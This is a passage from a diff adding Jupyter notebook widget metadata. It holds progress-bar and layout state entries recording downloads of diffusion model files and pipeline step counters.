"DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "633f3db9f5dd4f6984aa821a1717c03b": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_697d6a7fa4ee4d37bb80d624ffedf526", + "placeholder": "​", + "style": "IPY_MODEL_c87c97a9ed4b493c8d6df7d11b1684ca", + "value": "Downloading (…)_encoder/config.json: 100%" + } + }, + "635b3c726b5049818d8384ad992e2550": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "636973b7927b44bbaac28737227e7599": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "64180e5dd63840e3bb21af7aefa3cf45": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_c7b630dc7b8448219ca505398c12afef", + "placeholder": "​", + "style": "IPY_MODEL_81f9fd794d22477f8836a11322d5325b", + "value": "Downloading (…)ain/model_index.json: 100%" + } + }, + "645ebe129fd544a4b9383dfc1414cf0a": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_b539338d7bf84f50a8c57f90986a8d9a", + "placeholder": "​", + "style": "IPY_MODEL_d16de73052ac42e8a8065d4dc54ebe51", + "value": " 20/20 [00:10<00:00, 4.01it/s]" + } + }, + "64e440c8c82144beaec1e1d61cd5e9e0": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_64180e5dd63840e3bb21af7aefa3cf45", + "IPY_MODEL_abb332369a9b4996b84d77eee7e5dc0a", + "IPY_MODEL_e69330feb37747c5b22d4dd215f934bd" + ], + "layout": "IPY_MODEL_41cb4b504f3e45ea847e1cd74ae449d0" + } + }, + "65de6855b9944b829c4aa77bce39009f": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "66f7c6f267864c929727fd96a83e6d06": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "67768915a19a448c94620204f861d005": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_7699034aeb584f12864aaa30a7f2e6b5", + "placeholder": "​", + "style": "IPY_MODEL_0762e7a5efb84a4b9bf60c5cf3235671", + "value": " 20/20 [00:08<00:00, 7.50it/s]" + } + }, + "67f164f2226d430eb0c2cd3c63d14368": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "681be606b86c42fd9cad68e63e2782de": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "682a337dc14e48908be4cf40f7320d1f": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "6846be1897c64311a10d421483131bf9": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_147cd6ad4d4c4fca82a7a531684ffd2a", + "IPY_MODEL_6f88f6e516064ed1a82e1d69742d324c", + "IPY_MODEL_9998dc803aec438ab2bbdcb1edb8ab4e" + ], + "layout": "IPY_MODEL_67f164f2226d430eb0c2cd3c63d14368" + } + }, + "697d6a7fa4ee4d37bb80d624ffedf526": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "6b872da2a0944f5da6eb68792937311b": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "6ba872bd45c34e6c8202cc3722dc9285": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "6c0b26e65230468cb5ef11d3d0bf1bd3": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_f48bc2b8666b4e48a6f8cad4cda2530d", + "placeholder": "​", + "style": "IPY_MODEL_29e96ee99a714e2c86a0d68be1a31055", + "value": " 20/20 [00:07<00:00, 2.93it/s]" + } + }, + "6c353682d9d64022a11f31357816f14d": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "6c6f19d716d2410b813e32f3b051619a": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "6ca7d8cb9ad2472bad727eba7c993816": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "6ca84bcd6bea4a92a80d50351aa1be4f": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_87fcb7d5949d440dbe3c18e7059e65ad", + "placeholder": "​", + "style": "IPY_MODEL_173d85b54dd4419883fc83cfa2beacc5", + "value": "Downloading (…)8e6a/vae/config.json: 100%" + } + }, + "6d699038776e4fad8bb74d2381109b65": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "6d8e99610d624a09a53ef0c77b3f0c25": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "6da0c63935ac4ee4bfe6a6efbedfa93d": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_e57b840c4d3c4abcae1b69b189701c72", + "placeholder": "​", + "style": "IPY_MODEL_304e7a7a38834b3093002b6694c7cb67", + "value": "Downloading (…)okenizer_config.json: 100%" + } + }, + "6e14135b00e447c18a0a693d47f5c92b": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_8119e3c1840d4e0b975055cb0c255208", + "max": 1445157124, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_ad785ec6b7924f2ebcdf0957a16c656d", + "value": 1445157124 + } + }, + "6e327baf7a9144fcaff7c6317d018862": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "6e7d3e445440469baa5aaab1cbbb9291": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "6e89b30bfcd04f1ebc77492eae365847": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_4a3c28369fc14bbebdc749d0b3a5747b", + "placeholder": "​", + "style": "IPY_MODEL_be72ef0e4b8840608fd9160a6b43075d", + "value": "Downloading (…)8e6a/vae/config.json: 100%" + } + }, + "6ea8901001af4f2aa0039b18f5e758a4": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "6f88f6e516064ed1a82e1d69742d324c": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_f1a22eae63cb4eb982a02ccd11422014", + "max": 920, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_aac46407f5d74ebbb6a58b10de9b86f4", + "value": 920 + } + }, + "6f9f95e2d503403f83be05364b4199cd": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "6fbeaf60da4746b6a1c02a211657886b": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "7010861902ab409e9a4f65efad33683c": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_c30088b9866c429fa513397b03d2e3c8", + "placeholder": "​", + "style": "IPY_MODEL_f48a988402a947a098ed14bfd0dc9a53", + "value": "Downloading pytorch_model.bin: 100%" + } + }, + "7016696c087c4b3d85d5928cca064add": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_7301b1053b6446da9756caeb59d5be8b", + "max": 3438167540, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_94fba57a53d04861ab5a889193d27f83", + "value": 3438167540 + } + }, + "7027773c6c484afa9ee32448a320f948": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "7035d48a0c874fe7b7bd20c6b03bdf85": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "707ce79ce0da4f35ad6b8f636d2901f8": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "713f6c4e65a5418481d59fb756bd043c": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + 